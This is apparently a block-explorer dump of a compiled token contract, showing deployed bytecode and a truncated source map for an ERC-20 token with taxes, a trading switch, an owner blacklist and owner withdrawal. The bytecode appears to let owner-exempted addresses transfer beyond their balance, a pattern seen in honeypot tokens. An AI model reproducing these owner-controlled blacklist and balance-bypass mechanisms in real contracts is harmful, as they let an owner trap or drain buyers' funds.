8201526084016108cf565b7ff030bb719ac1227860b29dae4e2aead664a7eb21b5d574d8eb10302e435a57cb600682604051610d5a9291906126d8565b60405180910390a161091f6006826002612221565b6005546001600160a01b03163314610d995760405162461bcd60e51b81526004016108cf906125c8565b6020810151815161271091610dad91612681565b1115610e115760405162461bcd60e51b815260206004820152602d60248201527f73756d285f73656c6c5461786573292063616e6e6f742065786365656420425060448201526c29afa222a727a6a4a720aa27a960991b60648201526084016108cf565b7f4e5aa6a1d8a2baf47d4c781f8fa278df4f48fb465fde488841b40aee0868d9f2600882604051610e439291906126d8565b60405180910390a161091f6008826002612221565b6005546001600160a01b03163314610e825760405162461bcd60e51b81526004016108cf906125c8565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60068160028110610add57600080fd5b6005546001600160a01b03163314610f065760405162461bcd60e51b81526004016108cf906125c8565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610f3f573d6000803e3d6000fd5b50565b600c8160028110610f5257600080fd5b01546001600160a01b0316905081565b6005546001600160a01b03163314610f8c5760405162461bcd60e51b81526004016108cf906125c8565b61091f8282611cda565b6005546001600160a01b03163314610fc05760405162461bcd60e51b81526004016108cf906125c8565b6011805460ff19168215159081179091556040519081527f927009a164f58be5665a2121b2564ae19a66046fb36a397d3fca78f72ba04c3d906020015b60405180910390a150565b60606004805461080b9061258e565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156110995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016108cf565b6110a63385858403611438565b5060019392505050565b6005546001600160a01b031633146110da5760405162461bcd60e51b81526004016108cf906125c8565b600283106111175760405162461bcd60e51b815260206004820152600a6024820152692fb4b73232bc1027a7a160b11b60448201526064016108cf565b600a836002811061112a5761112a6126c2565b015482111561118a5760405162461bcd60e51b815260206004820152602660248201527f416d6f756e742063616e6e6f742062652067726561746572207468616e20746f6044820152650e8c2d8a8c2f60d31b60648201526084016108cf565b611195308284611d62565b60408051848152602081018490527f13ac772a78d03c80813b3c9c28d72a72d3b31e5ee74e277a88ac0c322a6bfc8f910160405180910390a181600a84600281106111e2576111e26126c2565b0160008282546111f2919061272a565b9091555050505050565b600061089b33848461155c565b6005546001600160a01b031633146112335760405162461bcd60e51b81526004016108cf906125c8565b60105460408051918252602082018390527f15426420a06dcf9391d9e4b7557f5cfaba5be0d7bf857b641e78ec375a343425910160405180910390a1601055565b6005546001600160a01b0316331461129e5760405162461bcd60e51b81526004016108cf906125c8565b6001600160a01b0381166113035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108cf565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a8160028110610add57600080fd5b6005546001600160a01b031633146113995760405162461bcd60e51b81526004016108cf906125c8565b6103e860145460056113ab919061273d565b6113b59190612754565b81116114035760405162461bcd60e51b815260206004820152601f60248201527f6d6178206275792073686f756c64206265206d6f7265207468616e202e35250060448201526064016108cf565b60128190556040518181527f1003faaf440f4e10b9ef552a11d026be63390c8c7eac09549c045f8d700ba53490602001610ffd565b6001600160a01b03831661149a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108cf565b6001600160a01b0382166114fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108cf565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600f602052604090205460ff16156115c55760405162461bcd60e51b815260206004820152601860248201527f526563697069656e7420697320626c61636b6c6973746564000000000000000060448201526064016108cf565b6001600160a01b0383166000908152600e602052604090205460ff168061160457506001600160a01b0382166000908152600e602052604090205460ff165b1561161d5742601855611618838383611d62565b505050565b6116278383611f09565b60165460ff1615801561166c57507f00000000000000000000000033ce3732d3128d6f16ebee38ab2145ddbf78f22b6001600160a01b0316836001600160a01b031614155b801561167a575060115460ff165b156116875761168761185c565b8061169061224f565b7f00000000000000000000000033ce3732d3128d6f16ebee38ab2145ddbf78f22b6001600160a01b0316856001600160a01b0316036117a357601154610100900460ff1661171c5760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b60448201526064016108cf565b60125483111561176e5760405162461bcd60e51b815260206004820152601960248201527f42757920616d6f756e742065786365656473206d61784275790000000000000060448201526064016108cf565b600060135461177d9190612681565b431161178e5761178e846001611cda565b611799836001612009565b9092509050611840565b7f00000000000000000000000033ce3732d3128d6f16ebee38ab2145ddbf78f22b6001600160a01b0316846001600160a01b03160361184057601154610100900460ff1661182f5760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b60448201526064016108cf565b61183a836000612009565b90925090505b61184b858584611d62565b61185585826120df565b5050505050565b6016805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061189e5761189e6126c2565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561191c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119409190612776565b81600181518110611953576119536126c2565b6001600160a01b039290921660209283029190910190910152600b54600a5460009161197e91612681565b90508060000361198f575050611c08565b3060009081526015602052604090205481908111156119ba5750306000908152601560205260409020545b6119e5307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d83611438565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611a3a908490600090889030904290600401612793565b600060405180830381600087803b158015611a5457600080fd5b505af1158015611a68573d6000803e3d6000fd5b5050600a54479250600091508490611a80908461273d565b611a8a9190612754565b9050600084600a60010154611a9f908561273d565b611aa99190612754565b6040805180820190915260008082526020820152909150611ace90600a90600261226d565b508115611b6857600c546040516000916001600160a01b03169084908381818185875af1925050503d8060008114611b22576040519150601f19603f3d011682016040523d82523d6000602084013e611b27565b606091505b5050905080611b665760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b60448201526064016108cf565b505b8015611c0157600d546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611bbb576040519150601f19603f3d011682016040523d82523d6000602084013e611bc0565b606091505b5050905080611bff5760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b60448201526064016108cf565b505b5050505050505b6016805460ff19169055565b6b3077b58d5d3783919800000081601454611c2f9190612681565b1115611c735760405162461bcd60e51b815260206004820152601360248201527213585e081cdd5c1c1b1e48195e18d959591959606a1b60448201526064016108cf565b8060146000828254611c859190612681565b90915550611c9590508282612185565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0382166000818152600f602090815260409182902054825193845260ff1615159083015282151582820152517f248358295a71c50a9351204f4da6e13409c2887fde3625358fbb80b9743e433b9181900360600190a16001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b6001600160a01b038316611db85760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f2061646472657373000060448201526064016108cf565b6001600160a01b038216611e0e5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f20616464726573730000000060448201526064016108cf565b6001600160a01b038316600090815260156020908152604080832054600e9092529091205460ff1680611e415750818110155b611e8d5760405162461bcd60e51b815260206004820152601f60248201527f7472616e7366657220616d6f756e7420657863656564732062616c616e63650060448201526064016108cf565b6001600160a01b038416600090815260156020526040902080548390039055611eb68383612185565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611efb91815260200190565b60405180910390a350505050565b6001600160a01b0382166000908152600e602052604090205460ff16158015611f4b57506001600160a01b0381166000908152600e602052604090205460ff16155b1561091f577f00000000000000000000000033ce3732d3128d6f16ebee38ab2145ddbf78f22b6001600160a01b0316826001600160a01b031603611fd2576001600160a01b03811660009081526017602052604090208054158015611fc657506001600160a01b038216600090815260156020526040902054155b15611618574290555050565b6001600160a01b03821660009081526017602052604090206018548154611ff9919061272a565b6002820155426001909101555050565b600061201361224f565b821561206c576040805180820190915280612710600660000154612037908861273d565b6120419190612754565b8152602001612710600660010154612059908861273d565b6120639190612754565b905290506120bb565b604080518082019091528061271060086000015461208a908861273d565b6120949190612754565b81526020016127106008600101546120ac908861273d565b6120b69190612754565b905290505b602081015181516120cc908661272a565b6120d6919061272a565b91509250929050565b6001600160a01b0382166121355760405162461bcd60e51b815260206004820152601e60248201527f7461786174696f6e2066726f6d20746865207a65726f2061646472657373000060448201526064016108cf565b6020810151815160009161214891612681565b9050612155833083611d62565b8151600a8054600090612169908490612681565b90915550506020820151600b80546000906111f2908490612681565b6001600160a01b0382166000908152601560205260409020546121a9908290612681565b6001600160a01b0390921660009081526015602052604090209190915550565b8260028101928215612211579160200282015b8281111561221157825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906121dc565b5061221d9291506122a0565b5090565b8260028101928215612211579160200282015b82811115612211578251825591602001919060010190612234565b60405180604001604052806002906020820280368337509192915050565b8260028101928215612211579160200282015b82811115612211578251829060ff16905591602001919060010190612280565b5b8082111561221d57600081556001016122a1565b600060208083528351808285015260005b818110156122e2578581018301518582016040015282016122c6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f3f57600080fd5b6000806040838503121561232b57600080fd5b823561233681612303565b946020939093013593505050565b6040805190810167ffffffffffffffff8111828210171561237557634e487b7160e01b600052604160045260246000fd5b60405290565b60006040828403121561238d57600080fd5b82601f83011261239c57600080fd5b6123a4612344565b8060408401858111156123b657600080fd5b845b818110156123d95780356123cb81612303565b8452602093840193016123b8565b509095945050505050565b803580151581146123f457600080fd5b919050565b6000806040838503121561240c57600080fd5b823561241781612303565b9150612425602084016123e4565b90509250929050565b60008060006060848603121561244357600080fd5b833561244e81612303565b9250602084013561245e81612303565b929592945050506040919091013590565b60006020828403121561248157600080fd5b5035919050565b60006020828403121561249a57600080fd5b81356124a581612303565b9392505050565b6000604082840312156124be57600080fd5b82601f8301126124cd57600080fd5b6124d5612344565b8060408401858111156124e757600080fd5b845b818110156123d95780358452602093840193016124e9565b60006020828403121561251357600080fd5b6124a5826123e4565b60008060006060848603121561253157600080fd5b8335925060208401359150604084013561254a81612303565b809150509250925092565b6000806040838503121561256857600080fd5b823561257381612303565b9150602083013561258381612303565b809150509250929050565b600181811c908216806125a257607f821691505b6020821081036125c257634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60808101818460005b600281101561262e5781546001600160a01b0316835260209092019160019182019101612606565b505050604082018360005b60028110156126615781516001600160a01b0316835260209283019290910190600101612639565b5050509392505050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561089f5761089f61266b565b6000806000606084860312156126a957600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b60808101818460005b60028110156127005781548352602090920191600191820191016126e1565b505050604082018360005b600281101561266157815183526020928301929091019060010161270b565b8181038181111561089f5761089f61266b565b808202811582820484141761089f5761089f61266b565b60008261277157634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561278857600080fd5b81516124a581612303565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156127e35784516001600160a01b0316835293830193918301916001016127be565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d9e8932ea8f9f8cfd2e1c33fc14c86951f2039106940d5655f3ecfe3f802803f64736f6c63430008130033

Deployed Bytecode Sourcemap

14983:14376:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10870:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11784:169;;;;;;;;;;-1:-1:-1;11784:169:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11784:169:0;1023:187:1;20519:205:0;;;;;;;;;;-1:-1:-1;20519:205:0;;;;;:::i;:::-;;:::i;:::-;;21769:166;;;;;;;;;;;;;:::i;28943:100::-;;;;;;;;;;-1:-1:-1;29023:12:0;;28943:100;;;2520:25:1;;;2508:2;2493:18;28943:100:0;2374:177:1;22126:217:0;;;;;;;;;;-1:-1:-1;22126:217:0;;;;;:::i;:::-;;:::i;11961:492::-;;;;;;;;;;-1:-1:-1;11961:492:0;;;;;:::i;:::-;;:::i;15451:36::-;;;;;;;;;;-1:-1:-1;15451:36:0;;;;;:::i;:::-;;:::i;11090:93::-;;;;;;;;;;-1:-1:-1;11090:93:0;;11173:2;3829:36:1;;3817:2;3802:18;11090:93:0;3687:184:1;15032:57:0;;;;;;;;;;;;15069:20;15032:57;;12461:215;;;;;;;;;;-1:-1:-1;12461:215:0;;;;;:::i;:::-;;:::i;15747:43::-;;;;;;;;;;-1:-1:-1;15747:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;26098:94;;;;;;;;;;;;;:::i;20732:483::-;;;;;;:::i;:::-;;:::i;18547:311::-;;;;;;;;;;-1:-1:-1;18547:311:0;;;;;:::i;:::-;;:::i;15986:34::-;;;;;;;;;;;;;;;;18959:321;;;;;;;;;;-1:-1:-1;18959:321:0;;;;;:::i;:::-;;:::i;22931:177::-;;;;;;;;;;-1:-1:-1;22931:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;23082:18:0;23050:7;23082:18;;;:9;:18;;;;;;;22931:177;16278:44;;;;;;;;;;;;;;;;2095:150;;;;;;;;;;;;;:::i;16074:27::-;;;;;;;;;;-1:-1:-1;16074:27:0;;;;;;;;15374:35;;;;;;;;;;-1:-1:-1;15374:35:0;;;;;:::i;:::-;;:::i;26200:109::-;;;;;;;;;;;;;:::i;1881:79::-;;;;;;;;;;-1:-1:-1;1946:6:0;;-1:-1:-1;;;;;1946:6:0;1881:79;;;-1:-1:-1;;;;;4888:32:1;;;4870:51;;4858:2;4843:18;1881:79:0;4724:203:1;15637:36:0;;;;;;;;;;-1:-1:-1;15637:36:0;;;;;:::i;:::-;;:::i;21369:160::-;;;;;;;;;;-1:-1:-1;21369:160:0;;;;;:::i;:::-;;:::i;22492:137::-;;;;;;;;;;-1:-1:-1;22492:137:0;;;;;:::i;:::-;;:::i;10978:104::-;;;;;;;;;;;;;:::i;12684:413::-;;;;;;;;;;-1:-1:-1;12684:413:0;;;;;:::i;:::-;;:::i;19907:486::-;;;;;;;;;;-1:-1:-1;19907:486:0;;;;;:::i;:::-;;:::i;11442:175::-;;;;;;;;;;-1:-1:-1;11442:175:0;;;;;:::i;:::-;;:::i;19432:199::-;;;;;;;;;;-1:-1:-1;19432:199:0;;;;;:::i;:::-;;:::i;15301:30::-;;;;;;;;;;;;;;;16174:33;;;;;;;;;;-1:-1:-1;16174:33:0;;;;;;;;;;;16382:27;;;;;;;;;;;;;;;;11625:151;;;;;;;;;;-1:-1:-1;11625:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;11741:18:0;;;11714:7;11741:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11625:151;15096:48;;;;;;;;;;;;15138:6;15096:48;;15251:43;;;;;;;;;;;;;;;15151:40;;;;;;;;;;;;15190:1;15151:40;;2253:244;;;;;;;;;;-1:-1:-1;2253:244:0;;;;;:::i;:::-;;:::i;15550:28::-;;;;;;;;;;-1:-1:-1;15550:28:0;;;;;:::i;:::-;;:::i;22707:216::-;;;;;;;;;;-1:-1:-1;22707:216:0;;;;;:::i;:::-;;:::i;15860:41::-;;;;;;;;;;-1:-1:-1;15860:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10870:100;10924:13;10957:5;10950:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10870:100;:::o;11784:169::-;11867:4;11884:39;346:10;11907:7;11916:6;11884:8;:39::i;:::-;-1:-1:-1;11941:4:0;11784:169;;;;;:::o;20519:205::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;;;;;;;;;20639:42:::1;20657:10;20669:11;20639:42;;;;;;;:::i;:::-;;;;;;;;20692:24;:10;20705:11:::0;20692:24:::1;;:::i;:::-;;20519:205:::0;:::o;21769:166::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;21827:13:::1;:20:::0;;-1:-1:-1;;21827:20:0::1;;;::::0;;21873:12:::1;21858;:27:::0;21901:26:::1;::::0;-1:-1:-1;1163:41:1;;21901:26:0::1;::::0;1151:2:1;1136:18;21901:26:0::1;;;;;;;21769:166::o:0;22126:217::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22240:21:0;::::1;;::::0;;;:11:::1;:21;::::0;;;;;;;;:36;;-1:-1:-1;;22240:36:0::1;::::0;::::1;;::::0;;::::1;::::0;;;22292:43;;8235:51:1;;;8302:18;;;8295:50;22292:43:0::1;::::0;8208:18:1;22292:43:0::1;;;;;;;22126:217:::0;;:::o;11961:492::-;12101:4;12118:36;12128:6;12136:9;12147:6;12118:9;:36::i;:::-;-1:-1:-1;;;;;12194:19:0;;12167:24;12194:19;;;:11;:19;;;;;;;;346:10;12194:33;;;;;;;;12246:26;;;;12238:79;;;;-1:-1:-1;;;12238:79:0;;8558:2:1;12238:79:0;;;8540:21:1;8597:2;8577:18;;;8570:30;8636:34;8616:18;;;8609:62;-1:-1:-1;;;8687:18:1;;;8680:38;8735:19;;12238:79:0;8356:404:1;12238:79:0;12353:57;12362:6;346:10;12403:6;12384:16;:25;12353:8;:57::i;:::-;-1:-1:-1;12441:4:0;;11961:492;-1:-1:-1;;;;11961:492:0:o;15451:36::-;;;;;;;;;;;;;;;-1:-1:-1;15451:36:0;:::o;12461:215::-;346:10;12549:4;12598:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12598:34:0;;;;;;;;;;12549:4;;12566:80;;12589:7;;12598:47;;12635:10;;12598:47;:::i;:::-;12566:8;:80::i;26098:94::-;26142:7;;;;26137:48;;26166:7;:5;:7::i;:::-;26098:94::o;20732:483::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;17632:15:::1;:22:::0;;-1:-1:-1;;17632:22:0::1;;;::::0;;20862:28:::2;20876:4;20883:6:::0;20862:5:::2;:28::i;:::-;20901:49;20918:4;20933:7;20943:6;20901:8;:49::i;:::-;20963:7;-1:-1:-1::0;;;;;20963:23:0::2;;20994:9;21027:4;21047:6;21068:1;21084::::0;21100:7:::2;1946:6:::0;;-1:-1:-1;;;;;1946:6:0;;1881:79;21100:7:::2;20963:244;::::0;::::2;::::0;;;-1:-1:-1;;;;;;20963:244:0;;;-1:-1:-1;;;;;9386:15:1;;;20963:244:0::2;::::0;::::2;9368:34:1::0;9418:18;;;9411:34;;;;9461:18;;;9454:34;;;;9504:18;;;9497:34;9568:15;;;9547:19;;;9540:44;21181:15:0::2;9600:19:1::0;;;9593:35;9302:19;;20963:244:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;17677:15:0::1;:23:::0;;-1:-1:-1;;17677:23:0::1;::::0;;-1:-1:-1;;20732:483:0:o;18547:311::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;18664:12:::1;::::0;::::1;::::0;18649;;15138:6:::1;::::0;18649:27:::1;::::0;::::1;:::i;:::-;:46;;18627:140;;;::::0;-1:-1:-1;;;18627:140:0;;10284:2:1;18627:140:0::1;::::0;::::1;10266:21:1::0;10323:2;10303:18;;;10296:30;10362:34;10342:18;;;10335:62;-1:-1:-1;;;10413:18:1;;;10406:42;10465:19;;18627:140:0::1;10082:408:1::0;18627:140:0::1;18783:36;18799:8;18809:9;18783:36;;;;;;;:::i;:::-;;;;;;;;18830:20;:8;18841:9:::0;18830:20:::1;;:::i;18959:321::-:0;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;19079:13:::1;::::0;::::1;::::0;19063;;15138:6:::1;::::0;19063:29:::1;::::0;::::1;:::i;:::-;:48;;19041:143;;;::::0;-1:-1:-1;;;19041:143:0;;11578:2:1;19041:143:0::1;::::0;::::1;11560:21:1::0;11617:2;11597:18;;;11590:30;11656:34;11636:18;;;11629:62;-1:-1:-1;;;11707:18:1;;;11700:43;11760:19;;19041:143:0::1;11376:409:1::0;19041:143:0::1;19200:39;19217:9;19228:10;19200:39;;;;;;;:::i;:::-;;;;;;;;19250:22;:9;19262:10:::0;19250:22:::1;;:::i;2095:150::-:0;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;2188:6:::1;::::0;2167:40:::1;::::0;2204:1:::1;::::0;-1:-1:-1;;;;;2188:6:0::1;::::0;2167:40:::1;::::0;2204:1;;2167:40:::1;2218:6;:19:::0;;-1:-1:-1;;;;;;2218:19:0::1;::::0;;2095:150::o;15374:35::-;;;;;;;;;;;26200:109;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;1946:6;;26253:48:::1;::::0;-1:-1:-1;;;;;1946:6:0;;;;26279:21:::1;26253:48:::0;::::1;;;::::0;::::1;::::0;;;26279:21;1946:6;26253:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;26200:109::o:0;15637:36::-;;;;;;;;;;;;;;-1:-1:-1;;;;;15637:36:0;;-1:-1:-1;15637:36:0;:::o;21369:160::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;21491:30:::1;21508:4;21514:6;21491:16;:30::i;22492:137::-:0;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;22559:8:::1;:20:::0;;-1:-1:-1;;22559:20:0::1;::::0;::::1;;::::0;;::::1;::::0;;;22595:26:::1;::::0;1163:41:1;;;22595:26:0::1;::::0;1151:2:1;1136:18;22595:26:0::1;;;;;;;;22492:137:::0;:::o;10978:104::-;11034:13;11067:7;11060:14;;;;;:::i;12684:413::-;346:10;12777:4;12821:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12821:34:0;;;;;;;;;;12874:35;;;;12866:85;;;;-1:-1:-1;;;12866:85:0;;11992:2:1;12866:85:0;;;11974:21:1;12031:2;12011:18;;;12004:30;12070:34;12050:18;;;12043:62;-1:-1:-1;;;12121:18:1;;;12114:35;12166:19;;12866:85:0;11790:401:1;12866:85:0;12987:67;346:10;13010:7;13038:15;13019:16;:34;12987:8;:67::i;:::-;-1:-1:-1;13085:4:0;;12684:413;-1:-1:-1;;;12684:413:0:o;19907:486::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;20081:17:::1;20072:6;:26;20049:64;;;::::0;-1:-1:-1;;;20049:64:0;;12398:2:1;20049:64:0::1;::::0;::::1;12380:21:1::0;12437:2;12417:18;;;12410:30;-1:-1:-1;;;12456:18:1;;;12449:40;12506:18;;20049:64:0::1;12196:334:1::0;20049:64:0::1;20157:10;20168:6;20157:18;;;;;;;:::i;:::-;;;20146:7;:29;;20124:117;;;::::0;-1:-1:-1;;;20124:117:0;;12737:2:1;20124:117:0::1;::::0;::::1;12719:21:1::0;12776:2;12756:18;;;12749:30;12815:34;12795:18;;;12788:62;-1:-1:-1;;;12866:18:1;;;12859:36;12912:19;;20124:117:0::1;12535:402:1::0;20124:117:0::1;20252:48;20273:4;20280:10;20292:7;20252:12;:48::i;:::-;20316:29;::::0;;13116:25:1;;;13172:2;13157:18;;13150:34;;;20316:29:0::1;::::0;13089:18:1;20316:29:0::1;;;;;;;20378:7;20356:10;20367:6;20356:18;;;;;;;:::i;:::-;;;:29;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;;;;19907:486:0:o;11442:175::-;11528:4;11545:42;346:10;11569:9;11580:6;11545:9;:42::i;19432:199::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;19544:15:::1;::::0;19521:57:::1;::::0;;13116:25:1;;;13172:2;13157:18;;13150:34;;;19521:57:0::1;::::0;13089:18:1;19521:57:0::1;;;;;;;19589:15;:34:::0;19432:199::o;2253:244::-;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2342:22:0;::::1;2334:73;;;::::0;-1:-1:-1;;;2334:73:0;;13530:2:1;2334:73:0::1;::::0;::::1;13512:21:1::0;13569:2;13549:18;;;13542:30;13608:34;13588:18;;;13581:62;-1:-1:-1;;;13659:18:1;;;13652:36;13705:19;;2334:73:0::1;13328:402:1::0;2334:73:0::1;2444:6;::::0;2423:38:::1;::::0;-1:-1:-1;;;;;2423:38:0;;::::1;::::0;2444:6:::1;::::0;2423:38:::1;::::0;2444:6:::1;::::0;2423:38:::1;2472:6;:17:::0;;-1:-1:-1;;;;;;2472:17:0::1;-1:-1:-1::0;;;;;2472:17:0;;;::::1;::::0;;;::::1;::::0;;2253:244::o;15550:28::-;;;;;;;;;;;22707:216;2008:6;;-1:-1:-1;;;;;2008:6:0;346:10;2008:22;2000:67;;;;-1:-1:-1;;;2000:67:0;;;;;;;:::i;:::-;22810:4:::1;22791:12;;22806:1;22791:16;;;;:::i;:::-;:23;;;;:::i;:::-;22781:7;:33;22773:77;;;::::0;-1:-1:-1;;;22773:77:0;;14332:2:1;22773:77:0::1;::::0;::::1;14314:21:1::0;14371:2;14351:18;;;14344:30;14410:33;14390:18;;;14383:61;14461:18;;22773:77:0::1;14130:355:1::0;22773:77:0::1;22861:6;:16:::0;;;22893:22:::1;::::0;2520:25:1;;;22893:22:0::1;::::0;2508:2:1;2493:18;22893:22:0::1;2374:177:1::0;14594:380:0;-1:-1:-1;;;;;14730:19:0;;14722:68;;;;-1:-1:-1;;;14722:68:0;;14692:2:1;14722:68:0;;;14674:21:1;14731:2;14711:18;;;14704:30;14770:34;14750:18;;;14743:62;-1:-1:-1;;;14821:18:1;;;14814:34;14865:19;;14722:68:0;14490:400:1;14722:68:0;-1:-1:-1;;;;;14809:21:0;;14801:68;;;;-1:-1:-1;;;14801:68:0;;15097:2:1;14801:68:0;;;15079:21:1;15136:2;15116:18;;;15109:30;15175:34;15155:18;;;15148:62;-1:-1:-1;;;15226:18:1;;;15219:32;15268:19;;14801:68:0;14895:398:1;14801:68:0;-1:-1:-1;;;;;14882:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14934:32;;2520:25:1;;;14934:32:0;;2493:18:1;14934:32:0;;;;;;;14594:380;;;:::o;23433:1261::-;-1:-1:-1;;;;;23575:20:0;;;;;;:9;:20;;;;;;;;23574:21;23566:58;;;;-1:-1:-1;;;23566:58:0;;15500:2:1;23566:58:0;;;15482:21:1;15539:2;15519:18;;;15512:30;15578:26;15558:18;;;15551:54;15622:18;;23566:58:0;15298:348:1;23566:58:0;-1:-1:-1;;;;;23641:19:0;;;;;;:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;23664:22:0;;;;;;:11;:22;;;;;;;;23641:45;23637:185;;;23720:15;23703:14;:32;23750:39;23763:6;23771:9;23782:6;23750:12;:39::i;:::-;23433:1261;;;:::o;23637:185::-;23832:29;23843:6;23851:9;23832:10;:29::i;:::-;23891:7;;;;23890:8;:40;;;;;23925:5;-1:-1:-1;;;;;23915:15:0;:6;-1:-1:-1;;;;;23915:15:0;;;23890:40;:65;;;;-1:-1:-1;23947:8:0;;;;23890:65;23872:129;;;23982:7;:5;:7::i;:::-;24026:6;24043:23;;:::i;:::-;24091:5;-1:-1:-1;;;;;